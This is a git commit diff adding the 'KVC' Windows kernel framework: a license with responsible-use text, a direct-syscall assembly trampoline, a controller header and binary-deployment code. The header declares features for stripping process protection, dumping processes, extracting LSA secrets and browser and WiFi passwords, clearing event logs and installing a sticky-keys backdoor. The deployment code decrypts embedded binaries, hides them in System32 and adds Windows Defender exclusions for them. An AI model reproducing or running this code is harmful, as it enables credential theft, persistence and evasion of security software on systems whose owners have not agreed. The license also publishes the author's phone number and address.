Initial commit - KVC Framework v1.0.1

This commit is contained in:
wesmar
2025-09-17 21:46:05 +02:00
commit 736a8eb685
60 changed files with 14401 additions and 0 deletions

220
LICENSE.md Normal file
View File

@@ -0,0 +1,220 @@
# MIT License
## KVC - Kernel Vulnerability Capabilities Framework
**Copyright (c) 2025 Marek Wesołowski (WESMAR)**
---
## License Grant
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
## Attribution Requirement
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
## Disclaimer of Warranty
**THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.**
---
## About This License
### Why MIT License?
The MIT License is one of the most permissive and widely-adopted open source licenses, chosen for KVC to:
- **Maximize adoption** in security research and education
- **Encourage contribution** from the global security community
- **Enable commercial use** without licensing barriers
- **Maintain simplicity** with minimal legal complexity
- **Ensure compatibility** with other open source projects
### What This Means for Users
**Commercial Use Permitted** - Use KVC in business environments without fees
**Modification Allowed** - Adapt the code for your specific needs
**Distribution Allowed** - Share KVC with others, modified or unmodified
**Private Use Permitted** - Use internally without disclosure requirements
**Patent Use** - Implicit patent grant from contributors
**Sublicensing Allowed** - Include KVC in larger projects with different licenses
### What This Requires
📋 **Include License** - This license text must be included with any distribution
📋 **Include Copyright** - The copyright notice must remain intact
📋 **No Trademark Rights** - Does not grant rights to use author's trademarks
---
## Project Information
### Repository Details
- **Project Name:** KVC - Kernel Vulnerability Capabilities Framework
- **Version:** 1.0.1
- **Author:** Marek Wesołowski (WESMAR)
- **Website:** [https://kvc.pl](https://kvc.pl)
- **Contact:** [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org)
### Technical Specifications
- **Platform:** Windows 10/11 (x64)
- **Language:** C++17, Assembly (MASM)
- **Architecture:** Ring-0 kernel operations with user-mode control
- **Purpose:** Windows security research and penetration testing
---
## Responsible Use Guidelines
### Intended Use Cases
While this software is freely licensed, users are encouraged to employ it responsibly:
#### Legitimate Applications
- **Security Research** - Academic and professional security studies
- **Penetration Testing** - Authorized security assessments
- **Educational Training** - Cybersecurity skill development
- **Incident Response** - Forensic analysis and threat hunting
- **System Administration** - Advanced Windows system management
- **Open Source Contribution** - Improving and extending the framework
#### Legal Compliance
Users must ensure their activities comply with applicable laws and regulations:
- **Authorization Required** - Only use on systems you own or have explicit permission to test
- **Local Laws** - Comply with computer fraud and abuse laws in your jurisdiction
- **Corporate Policies** - Respect organizational security policies and procedures
- **Data Protection** - Handle any extracted data according to privacy regulations
### Ethical Considerations
The open source nature of this license does not diminish the ethical responsibilities of users:
- **No Malicious Use** - Do not use for unauthorized access or malicious purposes
- **Responsible Disclosure** - Report vulnerabilities through appropriate channels
- **Community Benefit** - Consider contributing improvements back to the project
- **Knowledge Sharing** - Use for advancing security research and education
---
## Contributing to KVC
### Community Contributions Welcome
As an open source project, KVC thrives on community contributions:
#### Ways to Contribute
- **Code Improvements** - Bug fixes, performance enhancements, new features
- **Documentation** - Improved guides, tutorials, and technical documentation
- **Testing** - Compatibility testing across Windows versions and configurations
- **Security Research** - New techniques and methodologies
- **Educational Content** - Training materials and academic resources
#### Contribution Guidelines
- **Code Quality** - Follow modern C++17 standards and RAII patterns
- **Documentation** - Include comprehensive comments and documentation
- **Testing** - Verify changes across multiple Windows versions
- **Compatibility** - Maintain backward compatibility where possible
- **Attribution** - Contributors will be acknowledged in project documentation
### Development Resources
#### Technical Documentation
- **Architecture Overview** - Detailed system design documentation
- **API Reference** - Complete function and class documentation
- **Build Instructions** - Compilation and development setup guides
- **Testing Procedures** - Quality assurance and validation processes
#### Community Channels
- **Primary Contact** - [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org)
- **Project Website** - [https://kvc.pl](https://kvc.pl)
- **Issue Reporting** - Submit bugs and feature requests via established channels
---
## Third-Party Components
### Dependencies and Libraries
KVC may incorporate or link with third-party libraries and components:
- **Windows SDK** - Microsoft Windows development libraries (Microsoft license)
- **Runtime Libraries** - Visual C++ redistributable components (Microsoft license)
- **Standard Libraries** - C++ standard library implementations (Various licenses)
Users should be aware that while KVC itself is MIT licensed, incorporated components may have different licensing terms.
### Compliance Verification
When distributing KVC or derivative works:
1. **Review Dependencies** - Ensure compatibility of all incorporated components
2. **Include Licenses** - Provide license texts for all third-party components
3. **Attribution** - Properly credit all contributors and component authors
4. **Compliance Check** - Verify overall license compatibility
---
## Version History and Updates
### Current Version: 1.0.1
- Initial open source release under MIT License
- Complete framework with kernel driver, user-mode tools, and browser extraction
- Comprehensive documentation and usage examples
- Support for Windows 10/11 x64 platforms
### Future Development
- **Community-Driven** - Development priorities guided by user needs and contributions
- **Regular Updates** - Ongoing compatibility updates for new Windows versions
- **Feature Expansion** - New capabilities based on security research advances
- **Documentation Improvements** - Enhanced guides and educational materials
---
## Legal Notices
### Export Control
This software may be subject to export control regulations in various jurisdictions. Users are responsible for compliance with applicable export control laws.
### Security Disclaimer
KVC operates with elevated system privileges and directly manipulates kernel structures. While designed with safety mechanisms, users should:
- **Test in Controlled Environments** - Use virtual machines or isolated systems for testing
- **Backup Critical Data** - Ensure system backups before using advanced features
- **Antivirus Exclusions** - Add KVC to security software exclusions to prevent conflicts
- **Administrator Rights** - Only run with appropriate administrative privileges
### Liability Limitation
As specified in the MIT License terms, this software is provided without warranty. Users assume all risks associated with its use.
---
## Contact and Support
### Primary Contact
**Marek Wesołowski (WESMAR)**
Email: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org)
Website: [https://kvc.pl](https://kvc.pl)
Phone: +48 607-440-283
### Business Information
**WESMAR - Marek Wesołowski**
Address: Raabego 2b/81, 07-973 Warszawa, Poland
Tax ID (NIP): 7991668581
Statistical Number (REGON): 140406890
### Support Expectations
- **Community Support** - Best-effort assistance for open source users
- **Bug Reports** - Timely response to legitimate security and stability issues
- **Feature Requests** - Consideration based on community interest and technical feasibility
- **Commercial Support** - Professional services available upon request
---
**This MIT License ensures KVC remains freely available for the security research community while encouraging innovation, contribution, and responsible use.**
---
*Copyright (c) 2025 Marek Wesołowski (WESMAR). All rights reserved under MIT License terms.*

1037
README.md Normal file

File diff suppressed because it is too large Load Diff

BIN
images/kvc_01.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 457 KiB

BIN
images/kvc_02.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 290 KiB

BIN
images/kvc_03.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 488 KiB

BIN
images/kvc_04.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

30
kvc.sln Normal file
View File

@@ -0,0 +1,30 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.13
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc", "kvc\kvc.vcxproj", "{4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.vcxproj", "{87654321-4321-4321-4321-123456789DEF}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.ActiveCfg = Release|x64
{4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.Build.0 = Release|x64
{87654321-4321-4321-4321-123456789DEF}.Release|x64.ActiveCfg = Release|x64
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307}
EndGlobalSection
EndGlobal

50
kvc/AbiTramp.asm Normal file
View File

@@ -0,0 +1,50 @@
; AbiTramp.asm - Windows x64 ABI transition trampoline for direct syscalls
; Provides syscall argument marshaling and execution for security operations
; Implements position-independent syscall invocation with proper stack management
.code
ALIGN 16
PUBLIC AbiTramp
; Direct syscall execution trampoline with argument marshaling
; Parameters: SYSCALL_ENTRY* (RCX), followed by up to 10 additional syscall arguments
; Returns: NTSTATUS from kernel syscall execution
AbiTramp PROC FRAME
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
sub rsp, 80h ; Allocate stack space: shadow space (0x20) + argument buffer (0x40) + alignment
.ENDPROLOG
mov rbx, rcx ; Preserve SYSCALL_ENTRY* pointer in non-volatile register
; Marshal register-based arguments for kernel transition (Windows x64 calling convention)
mov r10, rdx ; Syscall-Arg1 <- Function-Arg2 (first syscall parameter)
mov rdx, r8 ; Syscall-Arg2 <- Function-Arg3 (second syscall parameter)
mov r8, r9 ; Syscall-Arg3 <- Function-Arg4 (third syscall parameter)
mov r9, [rbp+30h] ; Syscall-Arg4 <- Function-Arg5 (fourth syscall parameter from caller stack)
; Unconditionally marshal maximum stack arguments for syscall compatibility
; Copies 8 qwords to handle syscalls with up to 7 stack parameters plus safety margin
lea rsi, [rbp+38h] ; Source: Function-Arg6 position in caller's stack frame
lea rdi, [rsp+20h] ; Destination: Shadow space + syscall stack arguments area
mov rcx, 8 ; Copy 8 qwords (64 bytes total)
rep movsq ; Efficient block copy using string instructions
; Prepare for kernel mode transition
movzx eax, word ptr [rbx+12] ; Load System Service Number (SSN) from SYSCALL_ENTRY structure
mov r11, [rbx] ; Load syscall gadget address from SYSCALL_ENTRY structure
call r11 ; Execute syscall gadget (syscall; ret instruction sequence)
; Function epilogue: restore stack frame and non-volatile registers
add rsp, 80h ; Deallocate local stack space
pop rsi ; Restore non-volatile registers in reverse order
pop rdi
pop rbx
pop rbp
ret ; Return NTSTATUS in RAX to caller
AbiTramp ENDP
END

1266
kvc/BrowserOrchestrator.cpp Normal file

File diff suppressed because it is too large Load Diff

237
kvc/Controller.h Normal file
View File

@@ -0,0 +1,237 @@
#pragma once
#include "kvcDrv.h"
#include "OffsetFinder.h"
#include "TrustedInstallerIntegrator.h"
#include "Utils.h"
#include <vector>
#include <memory>
#include <optional>
class ReportExporter;
// Core kernel process structures
struct ProcessEntry
{
ULONG_PTR KernelAddress; // EPROCESS structure address
DWORD Pid; // Process identifier
UCHAR ProtectionLevel; // PP/PPL/None protection level
UCHAR SignerType; // Digital signature authority
UCHAR SignatureLevel; // Executable signature verification level
UCHAR SectionSignatureLevel; // DLL signature verification level
std::wstring ProcessName; // Process executable name
};
struct ProcessMatch
{
DWORD Pid = 0;
std::wstring ProcessName;
ULONG_PTR KernelAddress = 0;
};
// WinSQLite dynamic loading for browser database operations
struct SQLiteAPI
{
HMODULE hModule = nullptr;
int (*open_v2)(const char*, void**, int, const char*) = nullptr;
int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr;
int (*step)(void*) = nullptr;
const unsigned char* (*column_text)(void*, int) = nullptr;
const void* (*column_blob)(void*, int) = nullptr;
int (*column_bytes)(void*, int) = nullptr;
int (*finalize)(void*) = nullptr;
int (*close_v2)(void*) = nullptr;
};
// Password extraction result structure
struct PasswordResult
{
std::wstring type; // Chrome, Edge, WiFi credential type
std::wstring profile; // Browser/WiFi profile name
std::wstring url; // URL for browser logins
std::wstring username; // Login username
std::wstring password; // Decrypted password
std::wstring file; // Source file path
std::wstring data; // Additional data
std::wstring status; // DECRYPTED, ENCRYPTED, FAILED
uintmax_t size = 0; // Data size in bytes
};
// Registry master key for DPAPI operations
struct RegistryMasterKey
{
std::wstring keyName; // Registry key path (DPAPI_SYSTEM, NL$KM, etc.)
std::vector<BYTE> encryptedData; // Raw encrypted data
std::vector<BYTE> decryptedData; // Decrypted data
bool isDecrypted = false; // Decryption success flag
};
// Main controller class with atomic operation management
class Controller
{
public:
Controller();
~Controller();
Controller(const Controller&) = delete;
Controller& operator=(const Controller&) = delete;
Controller(Controller&&) noexcept = default;
Controller& operator=(Controller&&) noexcept = default;
// Memory dumping operations with atomic driver management
bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept;
bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept;
// Combined binary processing for kvc.dat
bool LoadAndSplitCombinedBinaries() noexcept;
bool WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
const std::vector<BYTE>& kvcCryptData) noexcept;
// Process information operations with driver caching
bool ListProtectedProcesses() noexcept;
bool GetProcessProtection(DWORD pid) noexcept;
bool GetProcessProtectionByName(const std::wstring& processName) noexcept;
// Process protection manipulation with atomic operations
bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcess(DWORD pid) noexcept;
bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectAllProcesses() noexcept;
bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
// DPAPI password extraction with TrustedInstaller
bool ShowPasswords(const std::wstring& outputPath) noexcept;
bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept;
// Enhanced system integration with comprehensive Defender exclusion management
bool RunAsTrustedInstaller(const std::wstring& commandLine);
bool RunAsTrustedInstallerSilent(const std::wstring& command);
bool AddContextMenuEntries();
// Legacy exclusion management (backward compatibility)
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
// Enhanced exclusion management with type specification
bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
// Type-specific exclusion convenience methods
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
bool AddProcessExclusion(const std::wstring& processName);
bool RemoveProcessExclusion(const std::wstring& processName);
bool AddPathExclusion(const std::wstring& path);
bool RemovePathExclusion(const std::wstring& path);
// Event log clearing operations with administrative privileges
bool ClearSystemEventLogs() noexcept;
// Legacy driver management for compatibility
bool InstallDriver() noexcept;
bool UninstallDriver() noexcept;
bool StartDriverService() noexcept;
bool StopDriverService() noexcept;
bool StartDriverServiceSilent() noexcept;
std::vector<BYTE> ExtractEncryptedDriver() noexcept;
std::vector<BYTE> DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept;
// Self-protection operations
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
// Sticky keys backdoor management
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
private:
// Core components
TrustedInstallerIntegrator m_trustedInstaller;
std::unique_ptr<kvc> m_rtc;
std::unique_ptr<OffsetFinder> m_of;
SQLiteAPI m_sqlite;
// Privilege and system management
bool EnablePrivilege(LPCWSTR privilegeName) noexcept;
bool EnableDebugPrivilege() noexcept;
// Enhanced file writing with TrustedInstaller privileges
bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;
// PE splitting with enhanced validation
bool SplitCombinedPE(const std::vector<BYTE>& combinedData,
std::vector<BYTE>& kvcPassData,
std::vector<BYTE>& kvcCryptData) noexcept;
// Atomic driver operations for stability
bool EnsureDriverAvailable() noexcept;
bool IsDriverCurrentlyLoaded() noexcept;
bool PerformAtomicInit() noexcept;
bool PerformAtomicInitWithErrorCleanup() noexcept;
// Silent driver installation
bool InstallDriverSilently() noexcept;
bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept;
// Kernel process management
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
std::vector<ProcessEntry> GetProcessList() noexcept;
std::optional<UCHAR> GetProcessProtection(ULONG_PTR addr) noexcept;
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
// Process pattern matching with regex support
std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;
bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept;
// Memory dumping with comprehensive protection handling
bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept;
bool SetCurrentProcessProtection(UCHAR protection) noexcept;
// DPAPI extraction lifecycle
bool PerformPasswordExtractionInit() noexcept;
void PerformPasswordExtractionCleanup() noexcept;
// Registry master key extraction with TrustedInstaller
bool ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
// Registry master key processing for enhanced display
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
// Browser password processing with AES-GCM decryption
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<BYTE>& decryptedKey) noexcept;
int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector<BYTE>& masterKey, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
// WiFi credential extraction via netsh
bool ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept;
// SQLite database operations
bool LoadSQLiteLibrary() noexcept;
void UnloadSQLiteLibrary() noexcept;
// Cryptographic operations for DPAPI and Chrome AES-GCM
std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept;
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
// Process name resolution with driver-free options
std::optional<ProcessMatch> ResolveProcessName(const std::wstring& processName) noexcept;
std::vector<ProcessMatch> FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept;
// Emergency cleanup for atomic operations
bool PerformAtomicCleanup() noexcept;
};

View File

@@ -0,0 +1,260 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerBinaryManager.cpp - Fixed compilation issues
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "TrustedInstallerIntegrator.h"
#include <filesystem>
namespace fs = std::filesystem;
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
// First attempt: normal write operation
if (Utils::WriteFile(filePath, data)) {
return true;
}
// If normal write fails, check if file exists and handle system files
const DWORD attrs = GetFileAttributesW(filePath.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str());
// Clear restrictive attributes first
if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) {
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
// Force delete if still locked
if (!DeleteFileW(filePath.c_str())) {
// Use TrustedInstaller for stubborn files - call on instance
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
return false;
}
}
}
// Retry normal write after cleanup
if (Utils::WriteFile(filePath, data)) {
return true;
}
// Final fallback: use TrustedInstaller to write file
const fs::path tempDir = fs::temp_directory_path();
const fs::path tempFile = tempDir / fs::path(filePath).filename();
// Write to temp location first
if (!Utils::WriteFile(tempFile.wstring(), data)) {
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
return false;
}
// Copy from temp to target with TrustedInstaller - call on instance
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
// Cleanup temp file
DeleteFileW(tempFile.c_str());
if (!copySuccess) {
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
return false;
}
return true;
}
// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling
bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
const std::vector<BYTE>& kvcCryptData) noexcept
{
INFO(L"Writing extracted components to target locations");
try {
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory path");
return false;
}
const fs::path system32Dir = systemDir;
const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE;
const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE;
const fs::path kvcMainPath = system32Dir / L"kvc.exe";
INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str());
INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str());
INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str());
// Get current executable path for self-copy
wchar_t currentExePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return false;
}
auto currentExeData = Utils::ReadFile(currentExePath);
if (currentExeData.empty()) {
ERROR(L"Failed to read current executable for self-copy");
return false;
}
// Write all components using enhanced method with privilege escalation
bool allSuccess = true;
// Write kvc_pass.exe
if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) {
ERROR(L"Failed to write kvc_pass.exe to System32 directory");
allSuccess = false;
} else {
INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size());
}
// Write kvc_crypt.dll
if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) {
ERROR(L"Failed to write kvc_crypt.dll to System32 directory");
allSuccess = false;
// Cleanup on partial failure
DeleteFileW(kvcPassPath.c_str());
} else {
INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size());
}
// Write kvc.exe (self-copy)
if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) {
ERROR(L"Failed to write kvc.exe to System32 directory");
allSuccess = false;
// Cleanup on partial failure
DeleteFileW(kvcPassPath.c_str());
DeleteFileW(kvcCryptPath.c_str());
} else {
INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size());
}
if (!allSuccess) {
return false;
}
// Set stealth attributes for all files
const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN;
SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
// Add Windows Defender exclusions for deployed components
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add paths (all files)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
// Add processes (executables only)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
INFO(L"Windows Defender exclusions configured successfully");
INFO(L"Binary component extraction and deployment completed successfully");
return true;
} catch (const std::exception& e) {
ERROR(L"Exception during component writing: %S", e.what());
return false;
} catch (...) {
ERROR(L"Unknown exception during component writing");
return false;
}
}
// Main entry point for kvc.dat processing - decrypt and extract components
bool Controller::LoadAndSplitCombinedBinaries() noexcept
{
INFO(L"Starting kvc.dat processing - loading combined encrypted binary");
try {
const fs::path currentDir = fs::current_path();
const fs::path kvcDataPath = currentDir / KVC_DATA_FILE;
if (!fs::exists(kvcDataPath)) {
ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str());
return false;
}
auto encryptedData = Utils::ReadFile(kvcDataPath.wstring());
if (encryptedData.empty()) {
ERROR(L"Failed to read kvc.dat file or file is empty");
return false;
}
INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
// Decrypt using XOR cipher with predefined key
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
INFO(L"XOR decryption completed successfully");
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
if (kvcPassData.empty() || kvcCryptData.empty()) {
ERROR(L"Extracted components are empty - invalid PE structure");
return false;
}
INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes",
kvcPassData.size(), kvcCryptData.size());
// Write extracted components with enhanced error handling
if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) {
ERROR(L"Failed to write extracted binary components to disk");
return false;
}
INFO(L"kvc.dat processing completed successfully");
return true;
} catch (const std::exception& e) {
ERROR(L"Exception during kvc.dat processing: %S", e.what());
return false;
} catch (...) {
ERROR(L"Unknown exception during kvc.dat processing");
return false;
}
}

188
kvc/ControllerCore.cpp Normal file
View File

@@ -0,0 +1,188 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerCore.cpp
#include "Controller.h"
#include "common.h"
#include <algorithm>
#include "resource.h"
extern volatile bool g_interrupted;
Controller::Controller() : m_rtc(std::make_unique<kvc>()), m_of(std::make_unique<OffsetFinder>()) {
if (!m_of->FindAllOffsets()) {
ERROR(L"Failed to find required kernel structure offsets");
}
}
Controller::~Controller() {
}
// Atomic operation cleanup - critical for BSOD prevention
bool Controller::PerformAtomicCleanup() noexcept {
INFO(L"Starting atomic cleanup procedure...");
// 1. First, close the connection to the driver
if (m_rtc) {
